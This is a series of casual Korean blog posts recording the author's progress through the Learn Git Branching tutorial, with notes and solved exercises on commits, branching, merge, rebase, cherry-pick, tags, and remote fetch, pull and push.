이 두 가지 오용은 git push와 git fetch에 source에 없음을 지정할 수 있기 때문에 나타남

인자로 아무것도 안 쓰면 됨!!!

git push origin :side;
git fetch origin :bugFix;

그래서 결국 브랜치 삭제도

인자에 아무것도 쓰지 않는 방식으로 삭제할 수 있음 !!

git fetch origin :bar

로컬에 bar 브랜치 추가

git push origin :foo

가상환경의 foo 삭제

Git pull의 인자들

드디어 마지막..

ㅠㅠ

git pull origin foo;
git fetch origin foo; git merge o/foo;

같은 말임 !!

그리고 또

git pull origin bar:bugFix;
git fetch origin bar:bugFix; git merge bugFix;

이것도 같은 말임 !!!

그냥 pull은 fetch와 merge를 합친 것 !!!!

이제 진짜 끝이 났ㄴㅔ요 .

수고많았습니다.

휴

이젠 또 뭘 해볼까요?

.,,

화이팅

Push&Pull 원격 저장소!

곰젤리마스터 — Mon, 30 Mar 2026 09:34:13 +0900

git clone

내 컴퓨터 내에서 git 서버로 저장하는 법에 대해 알아보자

깃에 똑같은 구조의 clone을 만들어 저장할 수 있다!

다른 사람들과 함께 작업 가능 !

git clone

git 원격 브랜치

o/ 란?

서버(원격 저장소)의 상태를 내 로컬에 잠시 '백업'해 둔 것

git fetch

원격 저장소에서 데이터 가져오기

git fetch

원격 저장소에는 있지만 로컬엔 없는 커밋 다운
원격 브랜치가 가리키는 곳 업데이트
하지만 로컬 상태는 변화시키지 않음

이걸 하는 방법은 여러가지!

git cherry-pick o/main;
git rebase o/main;
git merge o/main;

등등...

원격 저장소의 변경을 fetch하고 merge하는 과정이 워낙 빈번해서 이 두 가지 작업을 합친

git pull

을 만들었다고 합니다 !!!

협동 가장하기

실습을 위해 이 사이트는 git fakeTeamwork라는 명령어를 만들었다고 함 !

git clone;
git fakeTeamwork 2;
git commit;
git pull;

git push

git commit;
git commit;
git push;

엇갈린 작업

pull 과 push로 생기는 어려움

=> 히스토리가 엇갈릴 때 찾아옴 !!

<예시 상황>
난 월요일에 저장소를 clone해서 부가 기능 만들기 시작함
쭉 혼자 만들다가 금요일 쯤에 기능을 공개하려고 했음 !!
그런데 쌰~~~~갈
동료들이 주중에 코딩을 해버려서 이미 내 작업은 프로젝트에 무용지물이 되어버림
그니까 같은 걸 작업한 게 2개가 되어버린 것임

즉 히스토리가 엇갈림

보다시피 커밋의 기반이 된 곳이 다르면 push로 업데이트가 안됨

따라서 로컬 작업을 원격에 맞춰서 최신상태로 맞춰줘야함

그 작업이 fetch임

git merge 로 대신해도 된다구 합니다 !

원리는 merge가 merge 커밋을 생성하고, git에게 원격 저장소의 변경을 합쳤다고 알려주기 때문이라네유

git fetch;
git merge o/main;
git push;

fetch로 C2작업 불러오고 merge랑 o/main이랑 합친 뒤에

push해서 clone작업에 동기화

git pull은 fetch와 merge의 기능을 합친 명령어였슨!!

또 이런 기능들을 합친 명령어는,

git pull --rebase

fetch와 리베이스를 하는 작업의 줄임말

요렇게 됨 !

하지만 일반 pull과 사용했을 때는

git fetch;
git merge o/main;
git push;

이것과 동일한 결과가 나타나게 되겟져

일단 연습문제 풀어볼게요

git clone;
git fakeTeamwork;
git commit;
git pull --rebase;
git push;

자 이제 이번 차시의 마지막 단계!!

원격 저장소 거부! (Remote Rejected!)

규모가 큰 개발팀에서 일하는 경우, 보통 원격저장소의 main 브랜치는 잠겨있음

그래서 변경 사항을 적용하려면 pull request 과정을 거쳐야함 !!

만약 로컬저장소의 main브랜치에서 커밋하고 push하려고 한다면 다음과 같은 오류발생할 것임....

! [remote rejected] main -> main (TF402455: Pushes to this branch are not permitted; you must use a pull request to update this branch.)

왜일까? 이유는 다음과 같음 !!

원격 저장소는 자신의 main 브랜치에 대한 직접적인 커밋을 제한함
- push 대신 pull request가 쓰여야 한다는 규칙이 적용되어 있기 때문!

만약 브랜치를 따로 만들어 작업한 다음, 그것을 push하고 pull request를 하려는 상황에서

그걸 잊고 실수로 main 브랜치에서 직접 커밋해버린 상황 ! (이러면 변경사항을 push하지도 못하는 상황이 되어버림)

=> 메인 브랜치가 최종 브랜치격인데 여기서 싹다 작업해버려서 분리시켜야하는상황임....

해결법 : 다른 새로운 브랜치를 만들어서 원격 저장소에 push할 것 ! 그 다음, 원격 저장소와 동기화 되게끔 main을 reset할 것 !

git branch -f main o/main;
git checkout -b feature C2;
git push origin feature;

제 코드는 네줄인데 베스트 코드는 세줄이래서 봤더니 ㅉ

안 가르쳐준 옵션 사용하기 있니?
야박한놈들

명령어의 의미

1. git branch -f main o/main
직역: main 브랜치를 강제로(-f) 원격 저장소의 main(o/main) 위치로 옮겨라!
의미: "야, 내 로컬 main아! 너 아까 실수로 C2까지 앞서 나갔지? 정신 차리고 서버에 있는 깨끗한 상태(o/main)로 다시 기어 들어가!
2. git checkout -b feature C2
직역: C2 커밋 위치에서 feature라는 새 브랜치를 만들고(-b), 거기로 바로 이동해라!
의미: "나 이제 진짜 작업 시작할 거야. C2라는 내 소중한 작업물 위에 feature라는 이름표 딱 붙이고, 내 몸(포인터)도 그리로 옮길게!"
3. git push origin feature
직역: 내 로컬의 feature 브랜치 내용을 원격 저장소(origin)의 feature로 쏴라!
의미: "자, 이제 내가 feature 브랜치에서 정성껏 만든 C2 결과물을 인터넷 저장소(GitHub 등)에 냅다 집어 던질게! 받아라!"

흠 일단 이렇게 또

한 단계가 끝났고....

나머지 한 단계만 하면 이 커리큘럼도 끝이 나는군요

ㅎㅇㅌ

고급 문제

곰젤리마스터 — Tue, 24 Mar 2026 14:50:14 +0900

여러 브랜치를 리베이스 하기

여러 브랜치의 작업 내역을 main 브랜치에 리베이스 하기

순서에 맞게 커밋 정렬하기

git rebase main bugFix
git rebase bugFix side
git rebase side another
git rebase another main

부모를 선택하기

git branch bugWork
git branch -f bugWork main~^2^

브랜치 스파게티

main 브랜치 이전 커밋 one, two, three 총 3개의 브랜치가 있음

main의 최근 커밋 몇 개를 나머지 세 개의 브랜치에 반영하려고 함

one 브랜치는 순서 바꿀 것

C5 커밋 삭제

two 브랜치 순서 바꿀 것

three 브랜치 하나의 커밋 가져오기

show solution 명령어로 모법 답안 확인

일단 제가 처음 작성했던 ... 코드인데 일일히 뭔가 바쁜것 같죠

그래서 이렇게 바꿨습니다 하하하 !!!

오 예시답안과 맞춰보니 일치하네요

아직 사실 rebase -i 가 좀 어렵게 느껴지지만

일단 조금씩 감을 잡아가는 듯 합니다 ....

ㅜㅜ

그럼 담에 또 만나요

종합선물세트

곰젤리마스터 — Tue, 24 Mar 2026 13:13:33 +0900

이번 시간엔 git을 다루는 다양한 팁과 테크닉을 배워 볼 것이랍니다?
~~얼른 공부하고 케이온 보러가야하는데~~

자 이제부터 시작할게요 !

로컬에 쌓인 커밋들

눈에 잘 띄지 않는 버그를 찾아 해결하려고, 어떤 부분의 문제인지를 찾기 위해 디버그용 코드와 화면에 정보르르 프린트하는 코드를 몇 줄 넣음
디버깅용 코드나 프린트 명령은 그 브랜치에 들어있음
버그 찾아서 고치고, 원래 작업하던 브랜치에 합치면 됨

git cherry-pick C4

커밋들 갖고 놀기 #1

newImage와 caption 브랜치에 각각의 변경내역이 있고 서로 약간의 관련이 있어서,

저장소에 차례로 쌓여있는 상황

디자인 쪽에서 우리의 작업이력(history)에서는 이미 한참 전의 커밋 내용에 있는 newImage의 크기를 살짝 바꿔 달라는 요청이 들어오게된다면?

솔직히 잘 감이 안 오는...

ㅠㅠ

git rebase -i HEAD~2
git commit --amend
git rebase -i HEAD~2
git branch -f main caption

꺼내고 (rebase -i)
고치고 (amend)
집어넣고 (rebase -i)
이름표 붙이기 (branch -f)

정정할 커밋이 바로 직전에 있다면, 간단히 --amend로 수정

그다음 원래 순서대로 돌려놓기

커밋 갖고 놀기 #2

git cherry-pick C2
git cherry-pick C2
git checkout main
git cherry-pick C2 C3

Git 태그

브랜치는 이동하기 쉬움

브랜치는 쉽게 변하며 임시적인 것 ! 항상 바뀜

프로젝트의 작업 이력에서 중요한 지정들에 영구적으로 표시를 할 방법~!

=> git 태그

Git 태그는 커밋들이 추가적으로 생성되어도 절대 움직이지 않음
"체크아웃"한 후에 그 태그에서 어떤 작업을 완료할 수 없음
태그는 커밋 트리에서 특정 지점을 표시하기위한 닻같은 역할을 함 !

git tag v1 C1

git checkout C1
git tag v1 C2
git tag v0 C1

Git Describe

커밋 트리에서 태그가 닻 역할을 해주기 때문에

git에는 태그에 비해 상대적으로 어디에 위치해있는지 묘사해주는 명령어

git commit

생각보다 오래걸리네요..;;;

(한시간이면 될 줄 알았음)

다음 글로 다시 오겟슨니다...

작업을 여기저기로 옮기기

곰젤리마스터 — Mon, 23 Mar 2026 10:53:25 +0900

이때까지는 기초일 뿐이었다!!!

흠 ... 이제 진짜 시작인가본데 ...

그래도 이때까지 배운 것들만으로 90퍼 이상을 할 수 있다구 하네요

(이걸로??)

이제 심화적인 나머지 10퍼센트의 부분을 해볼 거래요

음하하하

작업을 여기저기로 옮기기

git cherry-pick <Commit 1> <Commit 2> <...>

현재 위치 아래에 있는 일련의 커밋들에 대한 복사본을 만들겠다는 것을 줄인 말이라구 하네엽

.. 이 웹사이트 제작자는 cherry-pick 기능을 아주좋아한대요 < ㄹㅇ 이것까진 안궁금함

이런 식으루 하면 된다네욤 !!

바로 복붙이 된 걸 확인할 수 있져

우리의 목표(왼) 이렇게 만들어야한대요!! 오른쪽에 있는 구조를...

짜잔~ 쉽게 완성했지요??

어라 모범 답안은 명령어 1개를 사용한대요..

다시해볼게요

좋아요 !! 합격 ~~

Git 인터렉티브 리베이스

체리 픽 : 원하는 커밋을 알 때 (각각의 해시값도)

인터렉티브 리베이스 : 몰라도 사용가능

예시 상황

A → B → C → D → E (HEAD)
"C랑 D는 살리고 싶은데 B는 필요 없음"
❗ 근데:
해시값 모름그냥 “위치만 앎”

인터렉티브 리베이스란?

rebase 명령어 사용할 때 -i 옵션을 같이 사용한다는 것 !

요런 내용도 참고해주시면 되겠습니다 ~!!

자 벌써 세 번째 챕터가 끝났고요

담엔 네 번째 챕터로 돌아올게여

그럼안녕

다음 단계로

곰젤리마스터 — Mon, 23 Mar 2026 10:28:46 +0900

Git에서 여기저기로 옮겨다니기

프로젝트를 표현하는 커밋 트리에서 이동할 수 있는 방법들을 알아부자~

HEAD

현재 체크아웃된 커밋을 가리킴
즉, 현재 작업 중인 커밋!
항상 작업트리의 가장 최근 커밋을 가리킴
작업트리에 변화를 주는 git 명령어들은 대부분 HEAD를 변경하는 것으로 시작
브랜치의 이름을 가리키고 있음

상대 참조 (상대 커밋)

실제로는 커밋의 해시를 확인하고 사용해야함
fed2da64c0efc5293610bdd892f82a58e8cbc5d8 이런 식으로 길다 !
해시가 커미스이 고유한 값임을 보여줄 수 있을 만큼만 명시해주면 됨
fed2 이런식으로 입력해도 됨

이래서 상대 커밋이 등장함 !! (Relative Ref)

한 번에 한 커밋 위로 움직이는 ^ (캐럿 연산자)
한 번에 여러 키밋 위로 올라가는 ~<num>

캐럿 (^) 연산자

참조 이름에 하나씩 추가할 때마다, 명시한 커밋의 부모를 찾게 됨

main^ : main의 부모
main^^ : main의 조부

틸드 (~) 연산자

커밋 트리에서 위로 여러 단계 오르기

올라가고 싶은 부모의 갯수를 숫자로 붙임

브랜치 강제로 옮기기

-f 옵션을 이용해서 브랜치를 특정 커밋에 직접적으로 재지정 할 수 있음

git branch -f main HEAD~3

main 브랜치를 HEAD에서 3번 뒤로 옮김

Git에서 작업 되돌리기

git reset
git revert

git reset

애초에 커밋하지 않은 것처럼 예전 커밋으로 브랜치를 옮기는 것

git revert

변경분을 되돌리고, 이 내용을 다른 사람들과 공유

요 개념 조금 헷갈려서 지피띠니의 도움을 받았답니다?

구분	reset	revert
히스토리	❌ 삭제됨	✅ 유지됨
방식	과거로 이동	취소 커밋 생성
협업	위험	안전
느낌	타임머신	되돌리기 버튼

요런 느낌이라구하네여

벌써 7개 챕터 중 2개를 처리했네요

ㅎㅅㅎ ez

수고한 여러분들께 선물로

귀여운 유이쨩 사진을 바칩니다

Git 기본

곰젤리마스터 — Fri, 20 Mar 2026 16:26:15 +0900

안녕하세요?
오늘은 깃 허브를 맛있게 끓여볼게요
‍
(보글보글)

저는 사실 전공자이나 아직 깃을 다루는 것에 미숙하여...
어쩔 수 없이 깃 스프를 끓이게 되었답니다?

자 한 번 해봅시다
‍

https://learngitbranching.js.org/

Learn Git Branching

An interactive Git visualization tool to educate and challenge!

learngitbranching.js.org

일단 이 사이트를 참고하며 공부하겠습니다 !!

메인과 원격 이렇게 두 챕터로 나뉘어져있구요
레벨 또한 선택하실 수 있답니다?

메인

git 기본
다음 단계로
코드 이러저리 옮기기
종합 선물세트
고급 문제

원격

푸시와 풀 -- git 원격 저장소!
origin 그 너머로 -- 고급 git 원격 저장소

뭐 이런 식이네요. 일단 지금부터 팔팔 끓여볼게요

오늘은 git 기본 챕터부터 시작해볼게요

Git 커밋 소개

커밋은 git 저장소에 여러분의 디렉토리에 있는 모든 파일에 대한 스냅샷을 기록하는 것

깃은 가능한 한 커밋을 가볍게 유지하고자 함.
커밋할 때마다 디렉토리 전체를 복사하지는 않음
각 커밋은 저장소의 이전 버전과 다음 버전의 변경내역(delta)을 저장함
대부분의 커밋이 그 커밋 위의 부모 커밋을 가리킴
커밋은 매우 가볍과 커밋 사이의 전환도 매우 빠름

저장소를 복제(clone)하려면 모든 변경분(delta)를 풀어내야 함
=> 이 때문에 명령행 결과로 아래 문구를 볼 수 있음!

resolving deltas

실습도 할 수 있어서 좋으네여 ㅎㅅㅎ
이런 페이지를 왜 이제야 알았담...

Git 브랜치

브랜치 역시 가벼운 동작! 브랜치는 특정 커밋에 대한 참조와 비슷함.
이런 사실 때문에 수많은 git 예찬론자들은 "브랜치를 서둘러서, 그리고 자주 만들라" 라고 한다구 하시네요...

브랜치를 많이 만들어도 메모리나 디스크 공간에 부담이 되지 않음
커다란 브랜치로 만들기보다는, 작은 단위로 잘게 나누는 것이 좋음
브랜치와 커밋을 같이 사용하곤 함.
일단은 단순히 브랜치를 "하나의 커밋과 그 부모 커밋들을 포함하는 작업 내역"이라고 기억해둘 것

새 브랜치 만들기

git branch [브랜치명]

변경분을 커밋하기 전에 새 브랜치로 이동하게 됨

git checkout [브랜치명]

브랜치와 합치기(Merge)

두 별도의 브랜치를 합치는 방법!
=> 브랜치를 따고, 새 기능을 개발하고 합칠 수 있게 됨!

git merge

두 개의 부모를 가리키는 특별한 커밋을 만들어 냄
두 개의 부모가 있는 커밋이라는 것은
" 한 부모의 모든 작업내역과 나머지 부모의 모든 작업, 그리고 그 두 부모의 모든 부모들의 작업 내역을 포함한다"라는 의미가 담김

Git 리베이스

브랜치끼리의 작업을 접목하는 두 번째 방법 !
기본적으로 커밋들을 모아서 복사한 뒤, 다른 곳에 떨궈 놓는 것.

리베이스를 하면 커밋들의 흐름을 보기 좋게 한 줄로 만들 수 있다는 장점이 있음
저장소의 커밋 로그와 이력이 한결 깨끗해짐

git rebase [리베이스 할 곳]

확실히 학습용 사이트와 같이 배우니
어려울 거라고 생각했던 깃도 금방 배울 수 있네요!!!
하하하!!!

그렇다면 이만 저는
여기까지~!
다음 편에서 만나요